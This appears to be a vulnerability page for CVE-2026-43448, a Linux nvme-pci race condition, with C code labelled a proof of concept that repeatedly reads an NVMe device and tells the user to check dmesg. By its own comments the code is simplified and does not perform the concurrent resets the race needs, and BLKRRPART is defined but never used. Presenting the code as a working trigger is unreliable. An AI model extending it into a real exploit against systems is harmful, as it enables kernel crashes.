CVE-2026-43448: Linux内核nvme-pci竞态条件漏洞

/* * PoC for CVE-2026-43448 * This code attempts to stress the NVMe device to trigger the race condition. * Successful exploitation requires precise timing between IO and reset. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define BLKRRPART _IO(0x12,95) int main() { const char* device = "/dev/nvme0n1"; int fd = open(device, O_RDONLY); if (fd < 0) { perror("Failed to open NVMe device"); return 1; } printf("Starting NVMe stress test to trigger race condition...\n"); char buffer[4096]; // Perform continuous reads to trigger IO paths and potential timeouts for (int i = 0; i < 10000; i++) { lseek(fd, 0, SEEK_SET); read(fd, buffer, sizeof(buffer)); // In a real exploit scenario, one would try to trigger resets // concurrently or inject faults to hit nvme_reset_work. // This is a simplified representation of the trigger context. } close(fd); printf("PoC execution finished. Check dmesg for IRQ warnings.\n"); return 0; }